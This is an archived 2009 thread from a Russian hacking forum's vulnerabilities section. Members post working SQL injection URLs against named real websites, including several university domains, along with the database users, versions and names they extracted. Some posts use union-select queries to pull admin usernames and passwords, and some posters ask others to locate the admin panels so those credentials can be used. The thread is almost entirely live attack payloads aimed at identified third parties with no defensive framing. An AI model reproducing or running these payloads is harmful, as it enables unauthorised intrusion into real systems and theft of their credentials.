HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.08.2009, 15:10
nemaniak
Участник форума
Регистрация: 10.06.2008
Сообщений: 201
Провел на форуме:
1174919

Репутация: 229
По умолчанию

pfibike.com

Код:
http://www.pfibike.com/dettagli2.php?id=5948'
Код:
http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,concat_ws(char(58),user(),database(),version()),7,8,9,10,11,12+--+
Код:
pfibike@localhost:pfibikedb:5.0.45-log
Код:
http://www.pfibike.com/dettagli2.php?id=5948%27+union+select+1,2,3,4,5,group_concat(concat_ws(char(58),id,user,passw)),7,8,9,10,11,12+from+admin+--+
админки так и не нашел, если кому повезет, прошу черкнуть в ПМ

laforestadiscoclub.it

Код:
http://www.laforestadiscoclub.it/photo.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+
Код:
forest@localhost:forest:5.0.45-log
(вывод в адрес картинки)

elenparati.it

движок такой же как и в прошлом примере, так что запрос аналогичен...

Код:
http://www.elenparati.it/php/index.php?dl_vars[dl_state]=parati&dl_vars[id_tipotenda]=-1+union+select+1,2,3,concat_ws(char(58),user(),database(),version()),5,6+--+
вывод туда же)

Последний раз редактировалось jokester; 03.08.2009 в 15:37.. Причина: Правила темы читаем
 
Ответить с цитированием

  #2  
Старый 03.08.2009, 17:29
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
Провел на форуме:
1054394

Репутация: 74
Отправить сообщение для xa-xa89 с помощью ICQ
По умолчанию

PR7
EDU
Цитата:
http://www.ithaca.edu/ithacaguide/index.php?action=cat&id=-1+union+select+concat_ws(0x3a,user_username,user_p assword)+FROM+dotproject.users+limit+1,1+--+
MySQL version:5.0.45
Database name:ic
Username:dbadmin@www.ithaca.edu
Замучался нахожу пасс не нахожу для него админки...=(
может кому больше повезет!
 
Ответить с цитированием

  #3  
Старый 03.08.2009, 18:47
mol0t
Познающий
Регистрация: 08.07.2009
Сообщений: 43
Провел на форуме:
1369392

Репутация: 262
По умолчанию

Код:
http://buy-dom.ru/pages.php?id=-11+union+select+1,concat_ws(0x3a,database(),version(),user()),3--
kinoplu_buydomru:5.0.81-community:kinoplu_buydomr@localhost



Код:
http://www.kinobel.ru/raduga/announce.php?id=-423+union+select+1,concat_ws(0x3a,database(),version(),user()),3,4,5,6,7,8,9,10,11,12--
kinobel_ru:5.0.72:kinobel@127.0.0.1


Код:
http://pro-kharkov.info/pages.php?id=-117&source=3+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user()),6,7,8--
PROKHARKOV_MAIN:5.0.51A-COMMUNITY:PROKHARKOV_MAIN@LOCALHOST


Код:
http://www.mag-project.ru/readnews.php?id=-4+union+select+1,2,3,4,concat_ws(0x3a,database(),version(),user()),6,7,8,9--
b46150:5.0.81:u46150@78.108.84.71


ТИЦ: 70
PR: 5
Код:
http://www.nsj.ru/pages.php?id=-12+union+select+1,2,3,concat_ws(0x3a,database(),version(),user()),5,6,7,8--
nsj_db:4.1.22-log:nsj_mysql@10.1.36.115
 
Ответить с цитированием

  #4  
Старый 03.08.2009, 20:58
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме:
4358210

Репутация: 2017


По умолчанию

http://www.mip-pamekasan-gov.com/vpage.php?id=1+and+1=0+union+select+1,concat_ws(0x 3a,user(),database(),version()),3,4,5,6--

h25765_digital@localhost:h25765_mip:5.0.51a-24+lenny1
 
Ответить с цитированием

  #5  
Старый 03.08.2009, 22:01
beerhack
Участник форума
Регистрация: 01.03.2008
Сообщений: 149
Провел на форуме:
3395070

Репутация: 173
По умолчанию

PR 5
Код:
http://www.faset.gatech.edu/plugins/content/index.php?id=-50'+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,0,11+from+admin+limit+0,1/*
Database Version: 4.1.22-max
Database name: faset
User name: faset@localhost
 
Ответить с цитированием

  #6  
Старый 04.08.2009, 12:57
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534

Репутация: 2731


Отправить сообщение для mailbrush с помощью ICQ
По умолчанию

Код:
http://www.amyindia.com/career.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6
Код:
Amyindia_amy@localhost:amyindia_amy:4.1.22-standard
 
Ответить с цитированием

  #7  
Старый 04.08.2009, 18:17
+++AndreyDevil+++
Участник форума
Регистрация: 28.12.2008
Сообщений: 136
Провел на форуме:
1311435

Репутация: 90
По умолчанию

Код:
http://www.iop.harvard.edu/extension/forms/students_internships_db.php?action=id&id=-359+union+select+1,concat_ws(0x3a3a2020,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--
4.1.22:: iopforms_usr@cms.iop.harvard.edu:: iopforms


Код:
http://nuremberg.law.harvard.edu/php/search.php?DI=1&return=1&display_setting=10&display=1&FieldFlag=1&hits=2&ID=288&lastrec=2&ListNameID=PAuthNameID&PA_ID=b&tblList=tblPersonalAuthorsList&srch=Author&SearchType=Personal%20Author&PAuthors=-288+union+select+1,2,concat_ws(0x3a3a2020,version(),user(),database()),4/*

5.0.45-log:: nuremberg_guest@localhost:: nuremberg 2
 
Ответить с цитированием

  #8  
Старый 05.08.2009, 01:11
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме:
401944

Репутация: 37
Отправить сообщение для ZARO с помощью ICQ
По умолчанию

http://www.info.ukr.su/suggestion.php?id=-1+union+select+1,2,3,4,version%28%29,6,7,8,9,10/*

5.0.26-log :: filmsworld_info@localhost :: filmsworld_info

Последний раз редактировалось ZARO; 05.08.2009 в 01:24..
 
Ответить с цитированием

  #9  
Старый 05.08.2009, 02:23
ZARO
Познающий
Регистрация: 17.04.2009
Сообщений: 59
Провел на форуме:
401944

Репутация: 37
Отправить сообщение для ZARO с помощью ICQ
По умолчанию

http://humor.zooclub.ru/anecrazdel.php?id=-1+union+select+concat_ws%280x3a,user%28%29,databas e%28%20%20%29,version%28%29%29,2,3,4,5,6,7,8,9,10, 11--

zooclub_zooclub@localhost :: zooclub_humor :: 5.0.81-community-log
 
Ответить с цитированием

  #10  
Старый 05.08.2009, 03:11
Swift
Banned
Регистрация: 27.10.2008
Сообщений: 78
Провел на форуме:
174909

Репутация: 454
По умолчанию

http://www.mirtex.ru/?t=2&g=16+union+select+concat(0x3,user(),version() ),2/*

user:mirtexru@MIRTEX.RU
database:mirtexru
version:4.0.26


http://eco.hust.edu.cn/detail.php?tid=3&cid=7&id=3660+union+select+1,conc at(0x3,user(),version(),database( )),3,4,5,6,7,8,9,10,11,12,13,14

admin@10.10.4.199 5.1.6-alpha-nt-maxeco
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ